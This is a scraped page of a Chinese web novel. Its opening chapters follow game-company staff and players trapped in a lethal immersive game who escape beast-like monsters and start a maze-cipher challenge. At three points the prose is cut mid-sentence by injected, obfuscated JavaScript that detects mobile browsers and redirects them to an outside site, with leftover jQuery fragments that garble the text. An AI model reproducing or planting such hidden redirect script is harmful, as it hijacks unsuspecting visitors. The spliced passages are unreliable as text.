《梦魇国度跑路指南》 1. 国度之门 被荒原切割平整的地平线尽头,是一堵无尽的黑色铁墙。 “啊啊啊啊啊啊——”楚胧在荒原上没命地奔跑着,瞠目欲裂地盯着眼前那堵已经触手可及的黑墙,在墙下一个不起眼的地方,一扇银色的门正虚掩着入口。 只要跑进去就安全了。她紧盯着前方,用力得似乎要把眼球挤出眼眶,可腿脚已经发热发软到不听使唤的地步。 但是她不敢停下,或者说没命停下。 身后那道紧追不舍的身影已经离得很近了,近到自己已经被完全笼罩在对方腥臭的热气和咆哮声中。 楚胧不知道那是什么东西,也不敢回头去细看那到底是什么。明明只是参加了BLACKDOOR新游戏的发售会,一睁眼却进入了这个诡异的世界。 这里没有其他建筑也没有人迹,只有看不完的荒草与升起又落下的太阳,楚胧和一起进来的伙伴们走了整整一天一夜,终于在第二次太阳即将落完全落下之前看见了这通天的高墙。 绵延的黑墙如同这个诡异世界的裂缝,没有起始也没有终点,即使是升在最高点的太阳也无法将它身上照耀出一丝其他的颜色,唯有底部零星地缀着几个银白色的窄门告诉他们这并不是长时间饥饿疲惫导致的幻觉。 精疲力尽的学生们见状不由得欣喜若狂,直觉告诉他们只要能走进那扇门就能回家了。 然后……就在他们马上要登上最后一个矮丘的时候,它们就来了。 在黑的伸手不见五指的黑夜里,先是听见一阵尖锐的哨声,然后就是伙伴们痛苦惊恐的大喊。 几个平日里只是爱打游戏的学生哪见过这样的场面,运气不好的还没反应过来就白白送了命。 这是一场单方面的屠杀,等天边开始出现光亮的楚胧发现已经只有自己一个人了,而自己连杀死了所有同伴的怪物的样子都没看清。 自己今天也早晚要死在这里吧?已经被耗尽的身体与意志都叫嚣着这样丧气的话,然后楚胧感觉脚下一沉,荒原黏着的土地咬住她的鞋子把她整个人绊倒在地。 “哟吼吼吼——”身后传来怪物兴奋的吼叫,带有腐蚀性的腥臭口水一点点滴到楚胧的卫衣外套上。就像感应器被激活了一样,远处开始传来此起彼伏的叫声响应此处。 无辜惨死的伙伴和怪物们得意的姿态深深刺激了楚胧,她硬撑着透支的手臂转过身来,发红的眼睛死死瞪着面前的怪物。 楚胧终于看清这怪物的面貌了!棕灰色斑驳的毛发下遮盖着锋利的爪子,明明有着巨型鬣狗一样的身体上却长着驴子的鬓毛和耳朵,裂开到极致的嘴里东倒西歪地长满锋利的尖齿,鲜血顺着怒翻在外的吻部一点点滴落在草地上。 想到那些骇人的血迹来自同伴的身上,一股难言的愤怒涌上楚胧的心头。 她扯起地上的野草连带着草根和泥土一起扔到了驴头鬣头上。 驴头鬣被楚胧突然的动作吓了一跳,反应过来后立刻恼羞成怒地张开狰狞的嘴向着这不听话的猎物扑去。 楚胧把头缩在脖颈上,闭上眼睛等待着那一刻的到来。 “噗呲。”令人牙酸的穿透声传来,温热的血喷了楚胧一脸,一股令人作呕的腥臭气弥漫开。 这就是死亡吗?虽然被咬断了脖子却没有任何不适,只有过度使用的腿部肌肉还在一个劲儿的打颤。 “喂,别等死了,赶紧给我站起来!” 这个年轻却有点无礼的声音在已经十几个小时没有听过人话的楚胧耳朵里不亚于天籁。她懵懵地抬起眼皮,然后不可思议地把眼睛睁大了。 方才还穷凶极恶的驴头鬣生死不明地倒在地上,四肢不受控制地痉挛着,嘴里发出呦呦的哀嚎。 一支成人手腕粗的尖头木棍从驴头鬣的眼睛刺入,一直穿透鬣狗头钉在地面上。 一个身形修长的女人伸手把木棍从怪物身体里拔出来,昏暗的光线笼罩在她的面容上,把立体的五官连成了模糊的一片阴影。 女人斜睨了楚胧一眼,言简意赅道:“跑。” “啊?”楚胧刚想说这怪物不都被你收拾了吗还跑什么跑,顺着女人的目光看去却发现地平线上扬起了一小片尘土。 如果楚胧刚才还怨天尤人觉得自己倒霉透顶,那她现在才发现自己实际上是福泽天降。 事实上她能活到现在完全是因为遇见的是一只幼年驴头鬣,才能跟她玩上一整天的追逐游戏。 不过一眨眼的功夫那片尘土已经距离她们极近了,楚胧绝望地发现里面包裹的每一只鬣狗的身量都是方才那只的两倍。 女人看了眼躺在地上还在嚎叫的幼年体,用木棍插进怪物的喉咙彻底结束了它的生命:“大意了,没想到它们还能传递讯号。” 她转过身看了眼身后一脸振奋的小孩儿——后者一脸跃跃欲试好像刚才背着自己已经完成了什么重大的决定,嫌弃地皱了皱眉:“你先走吧,在这里会拖我后腿。” “奥。”楚胧方才还同行笑对风霜起天地合乃敢与君绝我与前辈共进退,闻言立刻像霜打了的茄子。 女人没空管身后的小孩被打击的中二之魂,因为驴头鬣的队伍已经逼得很近了。 她举起手里的木棍像是投掷标枪的运动员一样向着最前面的高大鬣狗投去,尖锐的尖端稳稳没入怪物的脖颈里。 “这都不死?”女人震惊地看着被木棍刺穿依然活蹦乱跳的驴头鬣。 她探头看了一眼近在咫尺的鬣狗大军,果断转身拎起楚胧的衣领向着高墙的方向飞奔。 楚胧一开始还试图跟上女人的速度,奈何体力差异实在悬殊,到最后只能认命地脚尖踮地被人半悬空地拎着逃命。 女人一鼓作气冲入了一扇门里,过快的速度和巨大的惯性让她来不及刹车,两人双双跌倒在地。银门在两人身后隆隆地合拢,将巨兽彻底隔绝在外面。 “f**k……”地面和身上的某个金属配件对自己的肋骨造成了双面暴击,女人只能化疼痛为脏话缓解伤害。 但是她马上就闭嘴了,因为她发现刚才一直挂在自己身上鬼嚎的小孩儿不见踪迹了。 不过是跌倒的瞬息之间,楚胧就像一阵无声的风从她的手中消失了,而自己连一点异样都没有察觉。 可是女人没有耽误更多的时间在这个仅有一面之缘的小孩身上,因为有更要紧的事情需要她处理。 她摸索着从胸前解下一个金属挂牌,然后把正面按在地面上用力摩擦。 那是一个两指宽的长方形胸牌,上面用黑曜石精细地雕着一扇样式古朴的大门,优良的石料即使在黑暗中依然泛着一层柔光。 如果楚胧在场的话会立刻认出那就是BLACKDOOR游戏发售会的邀请函,然后她还会发现本来该印着邀请码的地方却用简洁的黑体雕着一个名字—— “秦问酒。” 秦问酒耐心地磨着那张金属邀请函,一直到凭借指腹的触摸已经无法辨认邀请函上的字迹,这才松了一口气把这片破铜烂铁随手丢在了角落里。 “咣。”金属撞击大理石发出一声清脆的响声,却激起了另一个声音。 细碎的,杂乱的,像是皮鞋在地上摩擦的声音和粗重慌乱的喘息声。 她警觉地回过头,一道刺眼的光柱直直射进她的眼睛,这让她下意识伸手挡在面前。 做完这个动作她突然意识到自己的失误,这个动作无疑让自己前方失守,而对面的来者已经离得很近的了。 她立刻改手为拳按着感觉中的方向挥了出去,拳头甩出去击中了一个柔软而略有凹陷的物体。 回应这记重拳的是一个男人的一声大喊,然后是重物落地的声音。 浦帆在黑暗中平白无故地挨了这一击,头晕眼花地倒在地上鬼哭狼嚎,嚎了一会儿发现无人理会自己,只好睁开眼偷看是何人袭击了自己。 这一看不要紧,浦帆刚止住的鬼嚎一下子又开嗓了。他像是看见救星一样扑上去搂住了眼前之人的胳膊:“秦总!可算是碰上一个能管事的了……我就知道还得是您,您可一定要把我们救出去啊!” 浦帆嚎了一会才觉得不对劲儿,因为秦总对他的求救没有任何反应,反而是表情越来越凶狠。 他又借着手电筒的光亮打量了一下秦问酒同样狼狈的衣着,一个不好的念头从他的大脑里冒了出来。 “您……您不会也……”他不敢再说了,再说感觉自己眼泪就要流出来了。 秦问酒拎着浦帆的领子把他从地上薅起来,本来在刚才与驴头鬣激战中已经脱力的胳膊一看到导致现状的罪魁祸首立刻又有劲儿了。 “我说了多少次了,不能把那个东西植入到游戏里!看看现在这个样子,它要把我们都绞杀干净!” 浦帆闻言像是稀软的面条一样脱力了,连自己什么时候被扔到了地上都没发觉。 他没想到前一天还沉浸在发布会顺利举行的喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416452|200785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悦中,正被自己的明亮前途照的睡不着觉,下一秒就进入了这个莫名其妙的破游戏被怪兽追杀。 几十个小时的惊魂逃亡里,他全是靠自己能等到救援的念头撑下来的,寄托希望的主要对象就是秦问酒。 虽然与黑门同是BLACKDOOR的创始人,秦问酒的性格却与酷爱抛头露面的黑门是两个极端,平日里深居简出,即使是股东大会也很难见到这位出席会议行使自己的权利,低调到公司的大部分人都不知道还有这么一位的存在。 浦帆在公司勤勤恳恳工作了七八年,熬到头发稀疏脑门锃亮,终于参与到了公司最新研发的意识浸入式游戏。 为了能让他全无顾忌地投入进游戏的研发中,黑门大手一挥批给了他最高权限,让他可以毫无阻碍地访问公司内部的所有资料,直到这时他才发现BLACKDOOR这个垄断世界游戏产业的庞然大物的背后居然还有这样一号人物。 公司最享誉业内的游戏均是出自此人之手,每日抵御数以兆亿数据流攻击的防御系统是她率先提出的,就连公司里那堆每秒都要被访问几万次的老掉牙的底层代码——如果浦帆没眼瞎的话,看起来也是此女的编写风格。 就像阿撒托斯之于混沌,宙斯之于希腊众神,秦问酒这三个字就像蜘蛛一样隐藏在BLACKDOOR这个巨大的框架中,在缝隙里密密麻麻地织满了自己的蛛网。 不过用不了多久浦帆就有幸成为少数得以面见大佬真容之人之一。当时他正在会议室里带着团队为第二天的发布会做最后的准备,会议室的桌子是他最爱的方桌。 浦帆此人对位置有一套自己的喜好,他爱方桌胜过圆桌,喜欢飞机舱室胜过热气腾腾的澡堂。用他的话说这就是秩序,每个人坐在什么位置上,发挥什么职能都一目了然。 秦问酒显然也深谙此道。她一脚踹开会议室的大门,扫视了震惊的众人一圈,然后拎起拳头把坐在主位的浦帆连人带椅子揍翻在地。 浦帆的颧骨一下子就肿了起来,在场的要么拉架要么狂按响铃呼叫保安,场面一度十分混乱。最后还是半躺在办公室摸鱼的黑门亲自指挥着一队保安制止了这个暴徒的无理行径,还顺手帮浦帆捡起了掉落在地上的眼镜。 这场闹剧究竟是如何结束的浦帆一无所知,他在第一时间就跑到本市最顶尖的整形外科,不惜重金购买药物暂时掩盖了脸上的伤口。 浦帆不知道公司的最高层对于意识浸入的开发到底有什么分歧,他只知道这是自己彻底改变命运的最好机会,错过了就千载难逢,所以无论如何都要让明天的发布会顺利进行。 至于那个小姑娘,浦帆不屑地想,既然不愿意抛头露面,就老实待在后台修复bug吧。 至少当时的浦帆是这么打算的,这个小人得志的想法一直维持到发布会开始,他在狂热的粉丝面前做出了极具煽动性的演说,大言不惭地高呼整个游戏界乃至人类都跨入了新时代。在场内几万人如山般的欢呼声中,他的傲慢达到了顶峰。 然后是“啪”地一声,浦帆一辈子都忘不了这个宣告噩梦开始的声音。 整个报告厅陷入了黑暗,观众开始尖叫呼喊,浦帆试图凭借话筒的音量努力维持秩序却徒劳无功。 慢慢尖叫变成了锐利的笑声,并且开始有撕破耳膜的趋势,他这才意识到这声音并不出自在场的观众,而是游戏内的那个东西对他狂妄自大的嘲笑。 浦帆在刺耳的声响中昏了过去,一睁眼便来到了荒原。不过他是属于运气比较好的那一类,趁着驴头鬣在大快朵颐其他人尸体的时候趁机溜进了门内。 他本来以为有秦问酒在外面,无论如何都能找到对付那个东西的办法,修复这个bug。 他万万没想到修复bug的人也被bug坑进来了。作为长期在一线工作的人,他比谁都知道公司的其他人被公司的智慧体养得多废。 秦问酒冷眼看着男人一会儿痛哭一会儿冷笑,一点上前宽慰的意思都没有。好在浦帆在她耐心即将告急的时候即使冷静了下来,不然她一定会让他再吃自己一拳。 “走吧。”秦问酒顺手捡起浦帆的手电筒占为己有,照了照眼前迷宫一样的窄路:“找找这破地方的出口在哪里。” 浦帆勉强支撑着站起来,正欲说什么,却被一声凄厉的尖叫打断,一股阴风裹挟着浓厚地血腥气凶恶地扑过来。 两人对视一眼,秦问酒当即低喝道:“跑!” 2. 银门6的游戏 于是在进门不过十分钟之后,两人又开始了逃命。 “你们研发的破游戏到底是什么内容?跑酷不是已经过时了吗?”秦问酒边跑边骂。 浦帆跟在她身后拼命地迈动双腿,他当然没有秦问酒这么好的体力,说话像是破了洞的风箱:“我也不知道这到底是什么……都是因为你发明的那个东西……我……我们向它输入了公司迄今为止所有的游戏数据和客户资料……它会根据每个人不同的喜好自动生成完全不同的游戏副本……鬼知道现在进入的是什么副本!” “你还有脸怪我!”秦问酒骂得中气十足。 相比于凶猛的驴头鬣,这无时无刻都在裹挟着两人的腥臭怪风更加让人畏惧,隐隐还可以听到凄厉刺耳的尖叫。 浦帆带进来的短命手电筒马上就要没电了,秦问酒只好暂时收起来以防后用,两人完全是摸着黑跌跌撞撞地寻找方向。 就好像是要故意驱赶我们到一个特定的地方。秦问酒的大脑里闪过这样的念头。 她突然感觉脚下一滑,粗磨水泥地面的摩擦力一下子就消失不见了,女孩反应不及噗通一下滑倒在地,顺着地面滑出去足有三四米远。 “像一条咸鱼一样滑进大海了……”秦问酒的脑子里只剩下这样一句话。 她生无可恋地抬起头,然后就愣住了。 自己现在身处一个足有四五个足球场大小的正方形空间里,空旷的空间中央矗立着一个巨大的电子屏幕,正幽幽地散发着白色的荧光。 屏幕下方摆着一张桌子,一侧固定着一个二十六键的键盘,另一侧则摆着十三部对讲机。 借着这光源她看到四面巨型的黑石墙壁上各有一个三人宽的入口,自己和浦帆显然就是顺着其中一个入口进入此地。 另外三个入口处也或站或坐着一队人,每个人都是一副被追惨了的衰样儿。 秦问酒不动声色地扫视了一圈,终于在一群人里发现了楚胧的身影。 看到倒霉小孩儿还完好无损地站着,秦问酒不由得松了口气。 本来这三路人还对这场地心有顾忌,看到秦问酒滑进来还毫发无伤才放下戒心,纷纷朝着中央围拢过来。 “诶呦诶呦!秦……姐你怎么还摔着了。”浦帆连忙把秦问酒从地上扶起来。 他倒是还算保留了点智商,知道隐瞒两个人内部人员的身份。要是被其他人发现二人就是害自己小命垂危的罪魁祸首,非得把俩人生吞活剥了不可。 浦帆一边扶着秦问酒从地上爬起来,一边躲在她身后观察了一圈,没在玩家里看到面熟的脸才松了一口气。 “欢迎各位玩家进入游戏,本次游戏内容为:银门6——奈神的迷宫。” 就在四路人马僵持之际,一道悦耳的电子音开始在场地上播报,与此同时场地上的空白屏幕上开始闪现一个巨型迷宫的模型图,迷宫中心的空白处正闪烁着12个红点。 “奈亚拉托提普铸造了黑石迷宫囚禁因为欺诈与贪婪而堕落的灵魂,为了困住这些怨灵,祂将离开迷宫的密文拆分成四组乱序字母刻在了迷宫之中的墙壁上。” “各位玩家需要在游戏开始之后进入迷宫,并在三十分钟内寻找完整的密文。游戏全程地图内会保持黑暗状态,但在迷宫的歧路上均匀分布着十个单次可用按钮,每按下一个按钮迷宫全图会进入三十秒可视时间,玩家需要正确利用可视时间寻找密文。” “需要注意的是,在游戏过程中奈亚拉托提普会全力阻止各位完成游戏,且每按下一次按钮都会招来怨灵们的袭击,请各位谨慎使用按钮并尽可能在游戏中存活。” “每一位玩家和游戏道具都在游戏中至关重要,各位可以通过对讲机在迷宫中进行联系。请各位信任彼此,共同完成游戏。祝各位好运(^-^)。” 随着语音的结束,屏幕上的迷宫示意图也跟着消失,一个十九位的空格出现在屏幕上,下方并列着两排数字,一个是一个三十分钟的倒计时,另一个则是一个诡异的分数:12/13。 “这要怎么玩……刚才光是走到这里就用了五六分钟,现在还要在这么大的地方里找什么鬼数字!这跟直接杀了我们有什么区别!”一个卷毛男生直接瘫坐在地,神经质地用手揉自己的头发。 BLACKDOOR以解密游戏最为出名,在场玩家能进入这里的不敢说是解谜大师,或多或少也玩过那么几个副本,但面对现在这个离谱的规则都束手无策。 在这么短的时间内走遍整个迷宫地图去寻找不知道在哪儿的数字,还要躲避未知的npc的攻击。 一想到方才那驱赶众人的诡怪的风,所有人就感觉被绝望扼住了脖子。 “我遭不住了,要搞紧回家!”一个中年男人神经兮兮地念叨着,走到屏幕下方的桌子面前,扑上去就向着键盘砸去! 离得近的玩家们谁也没想到会有这么一遭,想要阻拦也来不及了,只能眼睁睁看着中年人扑向键盘。 “砰!”斜刺里杀出一条长腿直接把男人扫倒在地,男人躺在地上抱着腿痛苦地哀嚎。 出腿的是一个身穿红色T恤打扮潮流英俊的年轻人,一头精心打理的头发染成栗色,银色耳机端端正正地挂在脖子上,跟其他狼狈的玩家相比从容得就像是天选男主一样。 他拨开众人,抬腿迈过被他踹倒在地的中年人,拾起桌子上的一个对讲机细细打量着。 这一系列动作都有一种精心设计过的中二感,众玩家一时不敢有其他动作,全都忌惮地看着这个突然杀出来的年轻人。 秦问酒侧过头小声点评道:“装。” 浦帆一时间讷讷不知如何回复,反倒是不知何时凑过来的楚胧小声道:“不过确实挺帅的。” 秦问酒哼了一声,不置可否。 “你!”年轻人突然抬起头,用对讲机指着刚才抱怨的卷毛。 “你、你不要过来啊!”卷毛实在怕这神经病也揍自己一顿,吓得在地上向后爬了几步。 少年被逗乐了,继续指着他说:“你刚才说的对。” “欸?”卷毛懵了。 “你刚才说‘找不到数字跟直接杀了咱们有什么区别’,你说的没错。” 少年笑眯眯地扫视了周围的人一圈,虽然是笑着,众人却都在这个年轻人的眼神里感到了无形的威压:“从我们进入这个世界开始,荒原、迷宫、怪兽,这个世界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我刚才进入游戏的地点就是迷宫的最外层,走到这里只比其他人晚了大概一分钟。”自从少年发言之后就没有开过口的秦问酒突然开口说:“至多十分钟,足够我们跑完全部地图了,大家都是从荒原上的怪物嘴下逃出来的,不会连十分钟的路程也要出意外吧。” 浦帆一脸茫然地听着秦问酒随口胡诌,不过作为资深社畜他还是猛猛点头对上司的发言进行捧哏儿。 两人一唱一和,周围本来还对1号颇有微词的玩家也都有些信服。 少年满意地打了个响指:“既然没有异议我们可以开始游戏了,现在耽误的都是能救我们命的时间。” 他抬手指了指头顶屏幕上已经变成27:56:08的数字。 众人不再争执,迅速按照方才的数字分好组别,各自选出了他们要进入的入口。 “奈亚拉托提普是神话中的乐子神。”就在大家马上踏进迷宫时,秦问酒突然打开对讲机对着全频道说道:“祂热衷于在游戏中对凡人进行捉弄与欺骗,让他们陷入癫狂与绝望中走向毁灭。方才的游戏有一句话是没错的,我们应该毫无保留的彼此相信,才有可能活着离开迷宫。” 说完她关掉了对讲,对着编号为8号和9号的浦帆和楚胧说道:“我们进去吧。” 在他们面前,颜色几乎与空间融为一体黑色的甬道缓缓打开,尖锐的笑声与似有似无的笛子嗡鸣响成一片,渐渐吞没了十二位玩家的身影…… 3. 欺诈手段 “你刚才为什么要帮着那小子说话?”迷宫里,浦帆问秦问酒。 这个游戏唯一还算得上人性化的地方就是玩家们现实世界里带在身上的非智能用品都完好地保存了下来。 楚胧从兜里找到了一盒耳塞,物理阻隔了迷宫里鬼气森森的尖叫和笛音,把三个人的任务成功精简为在黑暗中寻找按钮。 秦问酒本来以为自己势必要带着两个拖油瓶玩命了,没想到从惊吓中恢复过来的楚胧性格幽默口齿也颇为伶俐,在黑暗中跌跌撞撞地赶路仍不忘噼里啪啦地把其他九个玩家从头到脚品鉴了一番,一定程度上缓解了三个人紧张的心理。 在楚胧的带动下浦帆胆子也大了一些,至少敢对秦问酒的决策提出质疑了。秦问酒闻言斜睨了他一眼,反问道:“你觉得他出的这个破解游戏的办法怎么样?” 浦帆思索了一下:“听着唬人,实际上操作效率太低,细想的话不能完全服众。” “对啊,不能完全服众,但是能说服一些人。”秦问酒漫不经心地把玩着对讲机:“如果我在那时候提出一个新的办法,势必会引起玩家的分裂。到时候还没等npc动手,咱们自己就开始相互残杀了。” “那就让咱们用这个笨点子在这里陪他玩命?”浦帆闻言有点急眼。 “是个笨点子,但不是坏点子。”秦问酒随手给了男人一个爆栗:“最怕就是自以为聪明的争一时的短长,然后把所有人都赔进去了。那小子的办法是不太聪明,但是只要所有人都按照他的要求做完全可以顺利完成游戏。” “那你觉得……”浦帆说了一半突然惊恐地捂住了嘴,因为他听见秦问酒在调试对讲机的开关。 “你干嘛?咱们正说人坏话呢!”他急道。 “你还知道是说人坏话啊。” 浦帆被噎了一下,仗着黑暗里秦问酒看不清楚忿忿地撇了下嘴。 “又有岔路口了。”两人打嘴架时一直像个小鹌鹑一样探头探脑的楚胧说道。 三个人停下了脚步,在此之前他们已经走过了三个岔路口,都是没有按钮的歧路,因此在这个路口遇见按钮的可能性被大大拉大了。 一想到将有一个人脱离队伍,独自一人留在黑暗里面对未知的危险和凶恶的鬼怪,三个人心里都不由得有些沉重。 “你去。”秦问酒用对讲机怼了怼浦帆的腰。 “凭什么是我!”浦帆一下子急眼了,什么不能惹恼上司要时刻听从上司的考量全丢到九霄云外了,此刻满心只想怎么凭借自己的三寸不烂之舌让自己别被组织抛弃。 秦问酒不为所动地继续怼他:“越是留在后面的人越有可能担任最后跑遍全图的任务,所以要尽可能把体力好的留在后面。你觉得是你体力好还是我们两个更好一些。” 浦帆看了一眼身强力壮的秦问酒和青春洋溢的楚胧,羞愤难当:“你这是虐待老人!我这一身职业病都是给公司打江山落下来的!不许歧视我!” “滚。”秦问酒不为所动:“我加班加进急诊室的时候你还不知道在哪打酱油呢。” 于是试图拼资历却败在了元老手下的浦帆一脸悲愤地向着岔路口走去,就在他马上要拐进转角时秦问酒突然快步上前按住他的肩膀,附在他耳边低声说了几句。 隔得太远又带着耳塞楚胧听不清他们说了什么,但是可以看出浦帆的脚步明显轻快了许多。 秦问酒施施然走回来,在楚胧开口询问之前说道:“告诉了他一些我的猜测,说不定遇到危险了可以保命。” “你跟着我,不会出事情的。”秦问酒看了小孩儿一眼。两人于是不再说话,耐心地在黑暗里等待着。 不多时,两人手里的对讲机提示灯亮起,浦帆的声音在频道里传来:“这里是歧路,我找到按钮了!” “很好,现在已经有七个按钮被找到了,我们很快就可以开始寻找密文。大家先报一遍数确认一下人数。”1号年轻人的声音紧接着从频道里传来。 楚胧不耐烦地撇了下嘴。 每找到一个按钮这家伙都会让所有人汇报一遍自己的位置,搞得一副玩家里面有内鬼的样子。 其他玩家的声音稀稀落落从频道里传来,楚胧也随口报上了自己的号码和位置,一边听着频道里后续的声音一边跟着秦问酒进入下一个路口。 不知道是不是她的错觉,这次播报的速度似乎比前面几次要更快,她正暗自嘀咕时一个不小心撞上了秦问酒。 秦问酒不知何时停了下来,向后伸手握住了她的手:“少了一个人。” 楚胧回忆了一下刚才报数的顺序然后不可思议地瞪大了眼睛。 小孩正要张嘴说什么,频道里就传来1号的询问:“10号?听见请回复!” 回应他的是死寂一样的沉默,还有频道里电流流窜的吱吱声。 1号有点慌了,连声在频道里询问:“10号?10号?是否遇到什么状况了?11号和12号他还跟你们在一起吗?” 过了一会儿,才听见11号的声音犹犹豫豫地传来:“我们三个早就分开了,这个区域的按钮我们已经找全了。” 这句话就像鱼雷炸开了本就暗流涌动的水面,其他玩家本就对1号提出的方法心存质疑,这下也顾不上不得同时说话的要求了,七嘴八舌地在频道里争论了起来。 事态开始朝着1号始料未及的方向发展了,他试图在频道里大喊大叫制止其他人,却引起了更多的质疑。 “铮——”一声高昂的电流啸叫霸道地截断了所有人的声音,有受惊的玩家甚至直接扔掉了自己手里的对讲机。 一直到频道里再无其他人的声音,秦问酒这才把手里对讲机的频率调回正常值。 “游戏已经进行到一半了,我们没有道理更换其他的模式。大家不用担心,即使还剩下九个按钮时间也是充裕的。看来奈亚拉托提普已经开始攻击了,大家要小心。”秦问酒不疾不徐地说,她的声线冷静而克制,勉强压制住了其他人心里的焦躁。 “我们还有三个按钮就全部找齐了,现在的节奏没有问题,最难的部分马上结束了,接下来我们很快就可以通关,其他人不要出声注意好隐蔽自己的位置。” 她说完又等了一会,确认再也没有其他人的声音才放下了对讲机,对楚胧说:“关掉你的对讲机,跟我快点走。” “欸?”楚胧虽然有些不解,但还是听话地依言照做。 她明白自己能活到现在都是因为这个女人,以后能不能活也要靠她,自己即使不能帮她的忙,也不该拖后腿。 秦问酒抓起楚胧的手就跑了起来,这次她没有按照1号的要求在岔路口分开,而是一条一条道路挨个搜寻,一直到找到了第二个按钮。 “你听着,接下来我不能继续带着你走了。”秦问酒把女孩按在迷宫墙壁的角上,贴着她的耳朵说道。 因为戴着耳塞的缘故,女人的声音断断续续,反而是她呼出的热气扑在楚胧脸上格外清晰而真实。 秦问酒继续说:“一会你就打开对讲机,调到第二个频道,我会在那里跟你沟通。除此之外你不能在频道里和除了我和浦帆以外的其他人透露你的位置,尤其是1号!” 楚胧诧异地瞪大了眼睛:“他……” “我还不确定他的问题出在哪里,但是如果你见到……”秦问酒正要嘱咐,低头突然看见了女孩黑暗中也熠熠生辉的眼眸正认真地等着自己的下一句话。 她犹豫了一下,改口道:“算了……总之你见到1号就赶紧跑,不过不要离得太远,我需要你帮我打开这里的按钮。” 楚胧感觉到秦问酒温热干燥的手心落在自己头顶抚摸了一下,她下意识回握,少女纤细的手指叠在那只修长而骨节分明的手上,轻轻摩挲。 秦问酒的手心不像她以为的那样柔软,而是像覆着一层塑料那样坚硬而光滑,那是手掌多次被磨破茧子脱落后形成的。 楚胧不由得想起女人搏斗时利落的身手,她一定也吃了很多苦吧,她忍不住这样想到。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416454|200785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>秦问酒“啪”地一下子打掉了楚胧的手,不自在的清了清嗓子:“少煽情,又不是把你丢在这不管你了。” 楚胧看着秦问酒的身影消失在拐角,耳朵里若隐若现传来让人头昏脑胀的笛声和尖利的鬼叫。 她这才意识到耳塞的作用没有她以为的那么大,之所以不害怕不过是因为同伴守护在身边。自己是不是也可以守护他们?这样想着,她握紧了手里的对讲机。 秦问酒在迷宫里独自摸索了半天,独自一人显然比团队合作要更吃力。 她忍不住摸了摸脸上,只感到一阵黏腻的潮湿,那是方才经过某处挂过的风在她脸上割开的伤口里流出的血液,这也印证了她的猜测,自己曾经经过某个对迷宫的主人至关重要的地方。 最后她停下了脚步,因为眼前已经没有路了,只有通道的尽头一个闪着白色光圈的小小按钮,上面用阿拉伯数字标注着“10”。 秦问酒把对讲机调到方才交代给浦帆的频道上,开口道:“浦帆,现在有一个任务交给你。” 浦帆实在是大喜过望,听了好几分钟的鬼叫终于又听到人话了,即使是秦问酒的声音他也觉得是如聆天籁:“什么任务?” “我们要改变计划,提前消耗掉你这个按钮。”秦问酒说:“我们通话结束之后你要调回公共频道,然后按下你的按钮,你必须在这次可视时间内跑到十一点钟方向大概第五到六层的位置,那里应该有第一段密文。” “你……你怎么……”浦帆忍不住磕巴了。 “先不要问我问题。你的任务还没结束,在这段时间里所有人都没想到按钮会被提前按下,所以他们会很惊慌,这很容易被鬼怪袭击,你要根据公共频道里的声音统计这次被袭击的人数,然后计算出我们需要最佳的按钮次数。” “我看过你的资料,你毕业于T大的数学系,在校期间领队过很多国际比赛,很漂亮的履历。” 不知道是不是浦帆的错觉,她似乎在另一边笑了一下:“高材生,计算一个概率问题对你来说不是难事吧?” 浦帆只觉得一身热血往上涌。 在BLACKDOOR这种天才遍地走精英贱如狗的奇葩地方被蹉跎惯了,已经很久没人提过他光辉的学生时代了,连他自己也刻意去隐藏那段意气风发的时光,好像只有这样才能欺骗自己为了几口饱饭继续坐在公司的办公桌前敲那些永远没有尽头的代码。 可现在秦问酒夸赞他了,代表BLACKDOOR最高技术的人对他表示了肯定,浦帆无论任何也不能再保持中庸了。 “秦总……我……一定完成任务!”他努力让自己的舌头恢复正常。 秦问酒沉默了一下:“你没有别的想问我的吗?比如这样会牺牲很多其他的玩家,甚至是你和楚胧。如果你觉得这样做不好而拒绝我,我接下来的计划就没办法再实行。” 浦帆深吸了一口气,他意识到这是一个很重要的时刻,意义不亚于他同意黑门将公司的最高机密植入游戏的时刻。 他做错过一次决定酿成了大祸,无论如何不想再错一次了:“其实秦总你最开始同意那个小鬼的计划就是想让大家全活下来吧,只不过已经被那个该死的什么神打乱了罢了。您总是喜欢把责任揽在自己身上,实际上即使没有你的计划我们也会被欺骗和玩弄,然后一个一个绝望地死在迷宫里吧?既然这样还不如跟着你搏一搏,您曾帮助公司渡过那么多危机,现在面对的不过是一个只敢躲在暗处挑拨离间的神,祂根本就不是您的对手!” “况且……况且……”浦帆艰难地吼出这句话,根本没意识到自己已经泪流满面了:“作为这个游戏的设计者,我不相信自己制造出会杀掉人的游戏啊!” 频道里很久没有回复,悲伤顺着电流的频率在频道里轻轻抖动。 过了几秒浦帆才听见女人的声音,她已经重新变得冷硬如铁了,语气听不出是夸赞还是嘲讽:“浦帆,怪不得黑门这么喜欢你。既然没有异议,现在按计划开始执行吧。” 4. 1号 “咱们这样做真的好吗?”迷宫的另一端,11号犹豫地看向10号。 